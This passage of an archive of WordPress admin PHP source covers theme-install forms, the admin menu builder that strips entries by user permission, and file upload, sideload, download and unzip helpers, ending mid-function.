type="hidden" name="tab" value="search" /> <?php if ( $type_selector ) : ?> <label class="screen-reader-text" for="typeselector"><?php _e('Type of search'); ?></label> <select name="type" id="typeselector"> <option value="term" <?php selected('term', $type) ?>><?php _e('Keyword'); ?></option> <option value="author" <?php selected('author', $type) ?>><?php _e('Author'); ?></option> <option value="tag" <?php selected('tag', $type) ?>><?php _ex('Tag', 'Theme Installer'); ?></option> </select> <label class="screen-reader-text" for="s"><?php switch ( $type ) { case 'term': _e( 'Search by keyword' ); break; case 'author': _e( 'Search by author' ); break; case 'tag': _e( 'Search by tag' ); break; } ?></label> <?php else : ?> <label class="screen-reader-text" for="s"><?php _e('Search by keyword'); ?></label> <?php endif; ?> <input type="search" name="s" id="s" size="30" value="<?php echo esc_attr($term) ?>" autofocus="autofocus" /> <?php submit_button( __( 'Search' ), 'button', 'search', false ); ?> </form> <?php } /** * Display tags filter for themes. * * @since 2.8.0 */ function install_themes_dashboard() { install_theme_search_form( false ); ?> <h4><?php _e('Feature Filter') ?></h4> <p class="install-help"><?php _e( 'Find a theme based on specific features.' ); ?></p> <form method="get" action=""> <input type="hidden" name="tab" value="search" /> <?php $feature_list = get_theme_feature_list(); echo '<div class="feature-filter">'; foreach ( (array) $feature_list as $feature_name => $features ) { $feature_name = esc_html( $feature_name ); echo '<div class="feature-name">' . $feature_name . '</div>'; echo '<ol class="feature-group">'; foreach ( $features as $feature => $feature_name ) { $feature_name = esc_html( $feature_name ); $feature = esc_attr($feature); ?> <li> <input type="checkbox" name="features[]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" /> <label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label> </li> <?php } ?> </ol> <br class="clear" /> <?php } ?> </div> <br class="clear" /> <?php submit_button( __( 'Find Themes' ), 'button', 'search' ); ?> </form> <?php } // add_action('install_themes_dashboard', 'install_themes_dashboard'); function install_themes_upload() { ?> <p class="install-help"><?php _e('If you have a theme in a .zip format, you may install it by uploading it here.'); ?></p> <form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url('update.php?action=upload-theme'); ?>"> <?php wp_nonce_field( 'theme-upload'); ?> <input type="file" name="themezip" /> <?php submit_button( __( 'Install Now' ), 'button', 'install-theme-submit', false ); ?> </form> <?php } // add_action('install_themes_upload', 'install_themes_upload', 10, 0); /** * Prints a theme on the Install Themes pages. * * @deprecated 3.4.0 */ function display_theme( $theme ) { _deprecated_function( __FUNCTION__, '3.4' ); global $wp_list_table; if ( ! isset( $wp_list_table ) ) { $wp_list_table = _get_list_table('WP_Theme_Install_List_Table'); } $wp_list_table->prepare_items(); $wp_list_table->single_row( $theme ); } /** * Display theme content based on theme list. * * @since 2.8.0 */ function display_themes() { global $wp_list_table; if ( ! isset( $wp_list_table ) ) { $wp_list_table = _get_list_table('WP_Theme_Install_List_Table'); } $wp_list_table->prepare_items(); $wp_list_table->display(); } // add_action('install_themes_search', 'display_themes'); // add_action('install_themes_featured', 'display_themes'); // add_action('install_themes_new', 'display_themes'); // add_action('install_themes_updated', 'display_themes'); /** * Display theme information in dialog box form. * * @since 2.8.0 */ function install_theme_information() { global $wp_list_table; $theme = themes_api( 'theme_information', array( 'slug' => wp_unslash( $_REQUEST['theme'] ) ) ); if ( is_wp_error( $theme ) ) wp_die( $theme ); iframe_header( __('Theme Install') ); if ( ! isset( $wp_list_table ) ) { $wp_list_table = _get_list_table('WP_Theme_Install_List_Table'); } $wp_list_table->theme_installer_single( $theme ); iframe_footer(); exit; } add_action('install_themes_pre_theme-information', 'install_theme_information'); menu.php000077700000020157151514577750006256 0ustar00<?php /** * Build Administration Menu. * * @package WordPress * @subpackage Administration */ if ( is_network_admin() ) { /** * Fires before the administration menu loads in the Network Admin. * * The hook fires before menus and sub-menus are removed based on user privileges. * * @private * @since 3.1.0 */ do_action( '_network_admin_menu' ); } elseif ( is_user_admin() ) { /** * Fires before the administration menu loads in the User Admin. * * The hook fires before menus and sub-menus are removed based on user privileges. * * @private * @since 3.1.0 */ do_action( '_user_admin_menu' ); } else { /** * Fires before the administration menu loads in the admin. * * The hook fires before menus and sub-menus are removed based on user privileges. * * @private * @since 2.2.0 */ do_action( '_admin_menu' ); } // Create list of page plugin hook names. foreach ($menu as $menu_page) { if ( false !== $pos = strpos($menu_page[2], '?') ) { // Handle post_type=post|page|foo pages. $hook_name = substr($menu_page[2], 0, $pos); $hook_args = substr($menu_page[2], $pos + 1); wp_parse_str($hook_args, $hook_args); // Set the hook name to be the post type. if ( isset($hook_args['post_type']) ) $hook_name = $hook_args['post_type']; else $hook_name = basename($hook_name, '.php'); unset($hook_args); } else { $hook_name = basename($menu_page[2], '.php'); } $hook_name = sanitize_title($hook_name); if ( isset($compat[$hook_name]) ) $hook_name = $compat[$hook_name]; elseif ( !$hook_name ) continue; $admin_page_hooks[$menu_page[2]] = $hook_name; } unset($menu_page, $compat); $_wp_submenu_nopriv = array(); $_wp_menu_nopriv = array(); // Loop over submenus and remove pages for which the user does not have privs. foreach ( array( 'submenu' ) as $sub_loop ) { foreach ($$sub_loop as $parent => $sub) { foreach ($sub as $index => $data) { if ( ! current_user_can($data[1]) ) { unset(${$sub_loop}[$parent][$index]); $_wp_submenu_nopriv[$parent][$data[2]] = true; } } unset($index, $data); if ( empty(${$sub_loop}[$parent]) ) unset(${$sub_loop}[$parent]); } unset($sub, $parent); } unset($sub_loop); /* * Loop over the top-level menu. * Menus for which the original parent is not accessible due to lack of privileges * will have the next submenu in line be assigned as the new menu parent. */ foreach ( $menu as $id => $data ) { if ( empty($submenu[$data[2]]) ) continue; $subs = $submenu[$data[2]]; $first_sub = array_shift($subs); $old_parent = $data[2]; $new_parent = $first_sub[2]; // If the first submenu is not the same as the assigned parent, // make the first submenu the new parent. if ( $new_parent != $old_parent ) { $_wp_real_parent_file[$old_parent] = $new_parent; $menu[$id][2] = $new_parent; foreach ($submenu[$old_parent] as $index => $data) { $submenu[$new_parent][$index] = $submenu[$old_parent][$index]; unset($submenu[$old_parent][$index]); } unset($submenu[$old_parent], $index); if ( isset($_wp_submenu_nopriv[$old_parent]) ) $_wp_submenu_nopriv[$new_parent] = $_wp_submenu_nopriv[$old_parent]; } } unset($id, $data, $subs, $first_sub, $old_parent, $new_parent); if ( is_network_admin() ) { /** * Fires before the administration menu loads in the Network Admin. * * @since 3.1.0 * * @param string $context Empty context. */ do_action( 'network_admin_menu', '' ); } elseif ( is_user_admin() ) { /** * Fires before the administration menu loads in the User Admin. * * @since 3.1.0 * * @param string $context Empty context. */ do_action( 'user_admin_menu', '' ); } else { /** * Fires before the administration menu loads in the admin. * * @since 1.5.0 * * @param string $context Empty context. */ do_action( 'admin_menu', '' ); } /* * Remove menus that have no accessible submenus and require privileges * that the user does not have. Run re-parent loop again. */ foreach ( $menu as $id => $data ) { if ( ! current_user_can($data[1]) ) $_wp_menu_nopriv[$data[2]] = true; /* * If there is only one submenu and it is has same destination as the parent, * remove the submenu. */ if ( ! empty( $submenu[$data[2]] ) && 1 == count ( $submenu[$data[2]] ) ) { $subs = $submenu[$data[2]]; $first_sub = array_shift($subs); if ( $data[2] == $first_sub[2] ) unset( $submenu[$data[2]] ); } // If submenu is empty... if ( empty($submenu[$data[2]]) ) { // And user doesn't have privs, remove menu. if ( isset( $_wp_menu_nopriv[$data[2]] ) ) { unset($menu[$id]); } } } unset($id, $data, $subs, $first_sub); // Remove any duplicated separators $separator_found = false; foreach ( $menu as $id => $data ) { if ( 0 == strcmp('wp-menu-separator', $data[4] ) ) { if (false == $separator_found) { $separator_found = true; } else { unset($menu[$id]); $separator_found = false; } } else { $separator_found = false; } } unset($id, $data); function add_cssclass($add, $class) { $class = empty($class) ? $add : $class .= ' ' . $add; return $class; } function add_menu_classes($menu) { $first = $lastorder = false; $i = 0; $mc = count($menu); foreach ( $menu as $order => $top ) { $i++; if ( 0 == $order ) { // dashboard is always shown/single $menu[0][4] = add_cssclass('menu-top-first', $top[4]); $lastorder = 0; continue; } if ( 0 === strpos($top[2], 'separator') && false !== $lastorder ) { // if separator $first = true; $c = $menu[$lastorder][4]; $menu[$lastorder][4] = add_cssclass('menu-top-last', $c); continue; } if ( $first ) { $c = $menu[$order][4]; $menu[$order][4] = add_cssclass('menu-top-first', $c); $first = false; } if ( $mc == $i ) { // last item $c = $menu[$order][4]; $menu[$order][4] = add_cssclass('menu-top-last', $c); } $lastorder = $order; } /** * Filter administration menus array with classes added for top-level items. * * @since 2.7.0 * * @param array $menu Associative array of administration menu items. */ return apply_filters( 'add_menu_classes', $menu ); } uksort($menu, "strnatcasecmp"); // make it all pretty /** * Filter whether to enable custom ordering of the administration menu. * * See the 'menu_order' filter for reordering menu items. * * @since 2.8.0 * * @param bool $custom Whether custom ordering is enabled. Default false. */ if ( apply_filters( 'custom_menu_order', false ) ) { $menu_order = array(); foreach ( $menu as $menu_item ) { $menu_order[] = $menu_item[2]; } unset($menu_item); $default_menu_order = $menu_order; /** * Filter the order of administration menu items. * * A truthy value must first be passed to the 'custom_menu_order' filter * for this filter to work. Use the following to enable custom menu ordering: * * add_filter( 'custom_menu_order', '__return_true' ); * * @since 2.8.0 * * @param array $menu_order An ordered array of menu items. */ $menu_order = apply_filters( 'menu_order', $menu_order ); $menu_order = array_flip($menu_order); $default_menu_order = array_flip($default_menu_order); function sort_menu($a, $b) { global $menu_order, $default_menu_order; $a = $a[2]; $b = $b[2]; if ( isset($menu_order[$a]) && !isset($menu_order[$b]) ) { return -1; } elseif ( !isset($menu_order[$a]) && isset($menu_order[$b]) ) { return 1; } elseif ( isset($menu_order[$a]) && isset($menu_order[$b]) ) { if ( $menu_order[$a] == $menu_order[$b] ) return 0; return ($menu_order[$a] < $menu_order[$b]) ? -1 : 1; } else { return ($default_menu_order[$a] <= $default_menu_order[$b]) ? -1 : 1; } } usort($menu, 'sort_menu'); unset($menu_order, $default_menu_order); } // Remove the last menu item if it is a separator. $last_menu_key = array_keys( $menu ); $last_menu_key = array_pop( $last_menu_key ); if ( !empty( $menu ) && 'wp-menu-separator' == $menu[ $last_menu_key ][ 4 ] ) unset( $menu[ $last_menu_key ] ); unset( $last_menu_key ); if ( !user_can_access_admin_page() ) { /** * Fires when access to an admin page is denied. * * @since 2.5.0 */ do_action( 'admin_page_access_denied' ); wp_die( __('You do not have sufficient permissions to access this page.') ); } $menu = add_menu_classes($menu); file.php000077700000135372151514577750006237 0ustar00<?php /** * Functions for reading, writing, modifying, and deleting files on the file system. * Includes functionality for theme-specific files as well as operations for uploading, * archiving, and rendering output when necessary. * * @package WordPress * @subpackage Administration */ /** The descriptions for theme files. */ $wp_file_descriptions = array( 'index.php' => __( 'Main Index Template' ), 'style.css' => __( 'Stylesheet' ), 'editor-style.css' => __( 'Visual Editor Stylesheet' ), 'editor-style-rtl.css' => __( 'Visual Editor RTL Stylesheet' ), 'rtl.css' => __( 'RTL Stylesheet' ), 'comments.php' => __( 'Comments' ), 'comments-popup.php' => __( 'Popup Comments' ), 'footer.php' => __( 'Footer' ), 'header.php' => __( 'Header' ), 'sidebar.php' => __( 'Sidebar' ), 'archive.php' => __( 'Archives' ), 'author.php' => __( 'Author Template' ), 'tag.php' => __( 'Tag Template' ), 'category.php' => __( 'Category Template' ), 'page.php' => __( 'Page Template' ), 'search.php' => __( 'Search Results' ), 'searchform.php' => __( 'Search Form' ), 'single.php' => __( 'Single Post' ), '404.php' => __( '404 Template' ), 'link.php' => __( 'Links Template' ), 'functions.php' => __( 'Theme Functions' ), 'attachment.php' => __( 'Attachment Template' ), 'image.php' => __('Image Attachment Template'), 'video.php' => __('Video Attachment Template'), 'audio.php' => __('Audio Attachment Template'), 'application.php' => __('Application Attachment Template'), 'my-hacks.php' => __( 'my-hacks.php (legacy hacks support)' ), '.htaccess' => __( '.htaccess (for rewrite rules )' ), // Deprecated files 'wp-layout.css' => __( 'Stylesheet' ), 'wp-comments.php' => __( 'Comments Template' ), 'wp-comments-popup.php' => __( 'Popup Comments Template' ), ); /** * Get the description for standard WordPress theme files and other various standard * WordPress files * * @since 1.5.0 * * @uses _cleanup_header_comment * @uses $wp_file_descriptions * @param string $file Filesystem path or filename * @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist */ function get_file_description( $file ) { global $wp_file_descriptions; if ( isset( $wp_file_descriptions[basename( $file )] ) ) { return $wp_file_descriptions[basename( $file )]; } elseif ( file_exists( $file ) && is_file( $file ) ) { $template_data = implode( '', file( $file ) ); if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name )) return sprintf( __( '%s Page Template' ), _cleanup_header_comment($name[1]) ); } return trim( basename( $file ) ); } /** * Get the absolute filesystem path to the root of the WordPress installation * * @since 1.5.0 * * @uses get_option * @return string Full filesystem path to the root of the WordPress installation */ function get_home_path() { $home = get_option( 'home' ); $siteurl = get_option( 'siteurl' ); if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) { $wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */ $pos = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) ); $home_path = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos ); $home_path = trailingslashit( $home_path ); } else { $home_path = ABSPATH; } return str_replace( '\\', '/', $home_path ); } /** * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep. * The depth of the recursiveness can be controlled by the $levels param. * * @since 2.6.0 * * @param string $folder Full path to folder * @param int $levels (optional) Levels of folders to follow, Default: 100 (PHP Loop limit). * @return bool|array False on failure, Else array of files */ function list_files( $folder = '', $levels = 100 ) { if ( empty($folder) ) return false; if ( ! $levels ) return false; $files = array(); if ( $dir = @opendir( $folder ) ) { while (($file = readdir( $dir ) ) !== false ) { if ( in_array($file, array('.', '..') ) ) continue; if ( is_dir( $folder . '/' . $file ) ) { $files2 = list_files( $folder . '/' . $file, $levels - 1); if ( $files2 ) $files = array_merge($files, $files2 ); else $files[] = $folder . '/' . $file . '/'; } else { $files[] = $folder . '/' . $file; } } } @closedir( $dir ); return $files; } /** * Returns a filename of a Temporary unique file. * Please note that the calling function must unlink() this itself. * * The filename is based off the passed parameter or defaults to the current unix timestamp, * while the directory can either be passed as well, or by leaving it blank, default to a writable temporary directory. * * @since 2.6.0 * * @param string $filename (optional) Filename to base the Unique file off * @param string $dir (optional) Directory to store the file in * @return string a writable filename */ function wp_tempnam($filename = '', $dir = '') { if ( empty($dir) ) $dir = get_temp_dir(); $filename = basename($filename); if ( empty($filename) ) $filename = time(); $filename = preg_replace('|\..*$|', '.tmp', $filename); $filename = $dir . wp_unique_filename($dir, $filename); touch($filename); return $filename; } /** * Make sure that the file that was requested to edit, is allowed to be edited * * Function will die if if you are not allowed to edit the file * * @since 1.5.0 * * @uses wp_die * @uses validate_file * @param string $file file the users is attempting to edit * @param array $allowed_files Array of allowed files to edit, $file must match an entry exactly * @return null */ function validate_file_to_edit( $file, $allowed_files = '' ) { $code = validate_file( $file, $allowed_files ); if (!$code ) return $file; switch ( $code ) { case 1 : wp_die( __( 'Sorry, that file cannot be edited.' ) ); //case 2 : // wp_die( __('Sorry, can’t call files with their real path.' )); case 3 : wp_die( __( 'Sorry, that file cannot be edited.' ) ); } } /** * Handle PHP uploads in WordPress, sanitizing file names, checking extensions for mime type, * and moving the file to the appropriate directory within the uploads directory. * * @since 2.0.0 * * @uses wp_handle_upload_error * @uses is_multisite * @uses wp_check_filetype_and_ext * @uses current_user_can * @uses wp_upload_dir * @uses wp_unique_filename * @uses delete_transient * @param array $file Reference to a single element of $_FILES. Call the function once for each uploaded file. * @param array $overrides Optional. An associative array of names=>values to override default variables with extract( $overrides, EXTR_OVERWRITE ). * @param string $time Optional. Time formatted in 'yyyy/mm'. * @return array On success, returns an associative array of file attributes. On failure, returns $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ). */ function wp_handle_upload( &$file, $overrides = false, $time = null ) { // The default error handler. if ( ! function_exists( 'wp_handle_upload_error' ) ) { function wp_handle_upload_error( &$file, $message ) { return array( 'error'=>$message ); } } /** * Filter data for the current file to upload. * * @since 2.9.0 * * @param array $file An array of data for a single file. */ $file = apply_filters( 'wp_handle_upload_prefilter', $file ); // You may define your own function and pass the name in $overrides['upload_error_handler'] $upload_error_handler = 'wp_handle_upload_error'; // You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully. if ( isset( $file['error'] ) && !is_numeric( $file['error'] ) && $file['error'] ) return $upload_error_handler( $file, $file['error'] ); // You may define your own function and pass the name in $overrides['unique_filename_callback'] $unique_filename_callback = null; // $_POST['action'] must be set and its value must equal $overrides['action'] or this: $action = 'wp_handle_upload'; // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error']. $upload_error_strings = array( false, __( "The uploaded file exceeds the upload_max_filesize directive in php.ini." ), __( "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form." ), __( "The uploaded file was only partially uploaded." ), __( "No file was uploaded." ), '', __( "Missing a temporary folder." ), __( "Failed to write file to disk." ), __( "File upload stopped by extension." )); // All tests are on by default. Most can be turned off by $overrides[{test_name}] = false; $test_form = true; $test_size = true; $test_upload = true; // If you override this, you must provide $ext and $type!!!! $test_type = true; $mimes = false; // Install user overrides. Did we mention that this voids your warranty? if ( is_array( $overrides ) ) extract( $overrides, EXTR_OVERWRITE ); // A correct form post will pass this test. if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) ) return call_user_func($upload_error_handler, $file, __( 'Invalid form submission.' )); // A successful upload will pass this test. It makes no sense to override this one. if ( isset( $file['error'] ) && $file['error'] > 0 ) { return call_user_func( $upload_error_handler, $file, $upload_error_strings[ $file['error'] ] ); } // A non-empty file will pass this test. if ( $test_size && !($file['size'] > 0 ) ) { if ( is_multisite() ) $error_msg = __( 'File is empty. Please upload something more substantial.' ); else $error_msg = __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' ); return call_user_func($upload_error_handler, $file, $error_msg); } // A properly uploaded file will pass this test. There should be no reason to override this one. if ( $test_upload && ! @ is_uploaded_file( $file['tmp_name'] ) ) return call_user_func($upload_error_handler, $file, __( 'Specified file failed upload test.' )); // A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter. if ( $test_type ) { $wp_filetype = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes ); extract( $wp_filetype ); // Check to see if wp_check_filetype_and_ext() determined the filename was incorrect if ( $proper_filename ) $file['name'] = $proper_filename; if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) ) return call_user_func($upload_error_handler, $file, __( 'Sorry, this file type is not permitted for security reasons.' )); if ( !$ext ) $ext = ltrim(strrchr($file['name'], '.'), '.'); if ( !$type ) $type = $file['type']; } else { $type = ''; } // A writable uploads dir will pass this test. Again, there's no point overriding this one. if ( ! ( ( $uploads = wp_upload_dir($time) ) && false === $uploads['error'] ) ) return call_user_func($upload_error_handler, $file, $uploads['error'] ); $filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback ); // Move the file to the uploads dir $new_file = $uploads['path'] . "/$filename"; if ( false === @ move_uploaded_file( $file['tmp_name'], $new_file ) ) { if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir']; else $error_path = basename( $uploads['basedir'] ) . $uploads['subdir']; return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $error_path ) ); } // Set correct file permissions $stat = stat( dirname( $new_file )); $perms = $stat['mode'] & 0000666; @ chmod( $new_file, $perms ); // Compute the URL $url = $uploads['url'] . "/$filename"; if ( is_multisite() ) delete_transient( 'dirsize_cache' ); /** * Filter the data array for the uploaded file. * * @since 2.1.0 * * @param array $upload { * Array of upload data. * * @type string $file Filename of the newly-uploaded file. * @type string $url URL of the uploaded file. * @type string $type File type. * } * @param string $context The type of upload action. Accepts 'upload' or 'sideload'. */ return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ), 'upload' ); } /** * Handle sideloads, which is the process of retrieving a media item from another server instead of * a traditional media upload. This process involves sanitizing the filename, checking extensions * for mime type, and moving the file to the appropriate directory within the uploads directory. * * @since 2.6.0 * * @uses wp_handle_upload_error * @uses wp_check_filetype_and_ext * @uses current_user_can * @uses wp_upload_dir * @uses wp_unique_filename * @param array $file an array similar to that of a PHP $_FILES POST array * @param array $overrides Optional. An associative array of names=>values to override default variables with extract( $overrides, EXTR_OVERWRITE ). * @param string $time Optional. Time formatted in 'yyyy/mm'. * @return array On success, returns an associative array of file attributes. On failure, returns $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ). */ function wp_handle_sideload( &$file, $overrides = false, $time = null ) { // The default error handler. if (! function_exists( 'wp_handle_upload_error' ) ) { function wp_handle_upload_error( &$file, $message ) { return array( 'error'=>$message ); } } // You may define your own function and pass the name in $overrides['upload_error_handler'] $upload_error_handler = 'wp_handle_upload_error'; // You may define your own function and pass the name in $overrides['unique_filename_callback'] $unique_filename_callback = null; // $_POST['action'] must be set and its value must equal $overrides['action'] or this: $action = 'wp_handle_sideload'; // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error']. $upload_error_strings = array( false, __( "The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>." ), __( "The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form." ), __( "The uploaded file was only partially uploaded." ), __( "No file was uploaded." ), '', __( "Missing a temporary folder." ), __( "Failed to write file to disk." ), __( "File upload stopped by extension." )); // All tests are on by default. Most can be turned off by $overrides[{test_name}] = false; $test_form = true; $test_size = true; // If you override this, you must provide $ext and $type!!!! $test_type = true; $mimes = false; // Install user overrides. Did we mention that this voids your warranty? if ( is_array( $overrides ) ) extract( $overrides, EXTR_OVERWRITE ); // A correct form post will pass this test. if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) ) return $upload_error_handler( $file, __( 'Invalid form submission.' )); // A successful upload will pass this test. It makes no sense to override this one. if ( ! empty( $file['error'] ) ) return $upload_error_handler( $file, $upload_error_strings[$file['error']] ); // A non-empty file will pass this test. if ( $test_size && !(filesize($file['tmp_name']) > 0 ) ) return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini.' )); // A properly uploaded file will pass this test. There should be no reason to override this one. if (! @ is_file( $file['tmp_name'] ) ) return $upload_error_handler( $file, __( 'Specified file does not exist.' )); // A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter. if ( $test_type ) { $wp_filetype = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes ); extract( $wp_filetype ); // Check to see if wp_check_filetype_and_ext() determined the filename was incorrect if ( $proper_filename ) $file['name'] = $proper_filename; if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) ) return $upload_error_handler( $file, __( 'Sorry, this file type is not permitted for security reasons.' )); if ( !$ext ) $ext = ltrim(strrchr($file['name'], '.'), '.'); if ( !$type ) $type = $file['type']; } // A writable uploads dir will pass this test. Again, there's no point overriding this one. if ( ! ( ( $uploads = wp_upload_dir( $time ) ) && false === $uploads['error'] ) ) return $upload_error_handler( $file, $uploads['error'] ); $filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback ); // Strip the query strings. $filename = str_replace('?','-', $filename); $filename = str_replace('&','-', $filename); // Move the file to the uploads dir $new_file = $uploads['path'] . "/$filename"; if ( false === @ rename( $file['tmp_name'], $new_file ) ) { if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir']; else $error_path = basename( $uploads['basedir'] ) . $uploads['subdir']; return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $error_path ) ); } // Set correct file permissions $stat = stat( dirname( $new_file )); $perms = $stat['mode'] & 0000666; @ chmod( $new_file, $perms ); // Compute the URL $url = $uploads['url'] . "/$filename"; /** This filter is documented in wp-admin/includes/file.php */ $return = apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ), 'sideload' ); return $return; } /** * Downloads a url to a local temporary file using the WordPress HTTP Class. * Please note, That the calling function must unlink() the file. * * @since 2.5.0 * * @param string $url the URL of the file to download * @param int $timeout The timeout for the request to download the file default 300 seconds * @return mixed WP_Error on failure, string Filename on success. */ function download_url( $url, $timeout = 300 ) { //WARNING: The file is not automatically deleted, The script must unlink() the file. if ( ! $url ) return new WP_Error('http_no_url', __('Invalid URL Provided.')); $tmpfname = wp_tempnam($url); if ( ! $tmpfname ) return new WP_Error('http_no_file', __('Could not create Temporary file.')); $response = wp_safe_remote_get( $url, array( 'timeout' => $timeout, 'stream' => true, 'filename' => $tmpfname ) ); if ( is_wp_error( $response ) ) { unlink( $tmpfname ); return $response; } if ( 200 != wp_remote_retrieve_response_code( $response ) ){ unlink( $tmpfname ); return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ) ); } $content_md5 = wp_remote_retrieve_header( $response, 'content-md5' ); if ( $content_md5 ) { $md5_check = verify_file_md5( $tmpfname, $content_md5 ); if ( is_wp_error( $md5_check ) ) { unlink( $tmpfname ); return $md5_check; } } return $tmpfname; } /** * Calculates and compares the MD5 of a file to its expected value. * * @since 3.7.0 * * @param string $filename The filename to check the MD5 of. * @param string $expected_md5 The expected MD5 of the file, either a base64 encoded raw md5, or a hex-encoded md5 * @return bool|object WP_Error on failure, true on success, false when the MD5 format is unknown/unexpected */ function verify_file_md5( $filename, $expected_md5 ) { if ( 32 == strlen( $expected_md5 ) ) $expected_raw_md5 = pack( 'H*', $expected_md5 ); elseif ( 24 == strlen( $expected_md5 ) ) $expected_raw_md5 = base64_decode( $expected_md5 ); else return false; // unknown format $file_md5 = md5_file( $filename, true ); if ( $file_md5 === $expected_raw_md5 ) return true; return new WP_Error( 'md5_mismatch', sprintf( __( 'The checksum of the file (%1$s) does not match the expected checksum value (%2$s).' ), bin2hex( $file_md5 ), bin2hex( $expected_raw_md5 ) ) ); } /** * Unzips a specified ZIP file to a location on the Filesystem via the WordPress Filesystem Abstraction. * Assumes that WP_Filesystem() has already been called and set up. Does not extract a root-level __MACOSX directory, if present. * * Attempts to increase the PHP Memory limit to 256M before uncompressing, * However, The most memory required shouldn't be much larger than the Archive itself. * * @since 2.5.0 * * @param string $file Full path and filename of zip archive * @param string $to Full path on the filesystem to extract archive to * @return mixed WP_Error on failure, True on success */ function unzip_file($file, $to) { global $wp_filesystem; if ( ! $wp_filesystem || !is_object($wp_filesystem) ) return new WP_Error('fs_unavailable', __('Could not access filesystem.')); // Unzip can use a lot of memory, but not this much hopefully /** This filter is documented in wp-admin/admin.php */ @ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORY_LIMIT ) ); $needed_dirs = array(); $to = trailingslashit($to); // Determine any parent dir's needed (of the upgrade directory) if ( ! $wp_filesystem->is_dir($to) ) { //Only do parents if no children exist $path = preg_split('![/\\\]!', untrailingslashit($to)); for ( $i = count($path); $i >= 0; $i-- ) { if ( empty($path[$i]) ) continue; $dir = implode('/', array_slice($path, 0, $i+1) ); if ( preg_match('!^[a-z]:$!i', $dir) ) // Skip it if it looks like a Windows Drive letter. continue; if ( ! $wp_filesystem->is_dir($dir) ) $needed_dirs[] = $dir; else break; // A folder exists, therefor, we dont need the check the levels below this } } /** * Filter whether to use ZipArchive to unzip archives. * * @since 3.0.0 * * @param bool $ziparchive Whether to use ZipArchive. Default true. */ if ( class_exists( 'ZipArchive' ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) { $result = _unzip_file_ziparchive($file, $to, $needed_dirs); if ( true === $result ) { return $result; } elseif ( is_wp_error($result) ) { if ( 'incompatible_archive' != $result->get_error_code() ) return $result; } } // Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file. return _unzip_file_pclzip($file, $to, $needed_dirs); } /** * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the ZipArchive class. * Assumes that WP_Filesystem() has already been called and set up. * * @since 3.0.0 * @see unzip_file * @access private * * @param string $file Full path and filename of zip archive * @param string $to Full path on the filesystem to extract archive to * @param array $needed_dirs A partial list of required folders needed to be created. * @return mixed WP_Error on failure, True on success */ function _unzip_file_ziparchive($file, $to, $needed_dirs = array() ) { global $wp_filesystem; $z = new ZipArchive(); $zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS ); if ( true !== $zopen ) return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) ); $uncompressed_size = 0; for ( $i = 0; $i < $z->numFiles; $i++ ) { if ( ! $info = $z->statIndex($i) ) return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) ); if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Skip the OS X-created __MACOSX directory continue; if ( 0 !== validate_file( $info['name'] ) ) { return new WP_Error( 'invalid_file_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] ); } $uncompressed_size += $info['size']; if ( '/' == substr($info['name'], -1) ) // directory $needed_dirs[] = $to . untrailingslashit($info['name']); else $needed_dirs[] = $to . untrailingslashit(dirname($info['name'])); } /* * disk_free_space() could return false. Assume that any falsey value is an error. * A disk that has zero free bytes has bigger problems. * Require we have enough space to unzip the file and copy its contents, with a 10% buffer. */ if ( defined( 'DOING_CRON' ) && DOING_CRON ) { $available_space = @disk_free_space( WP_CONTENT_DIR ); if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space ) return new WP_Error( 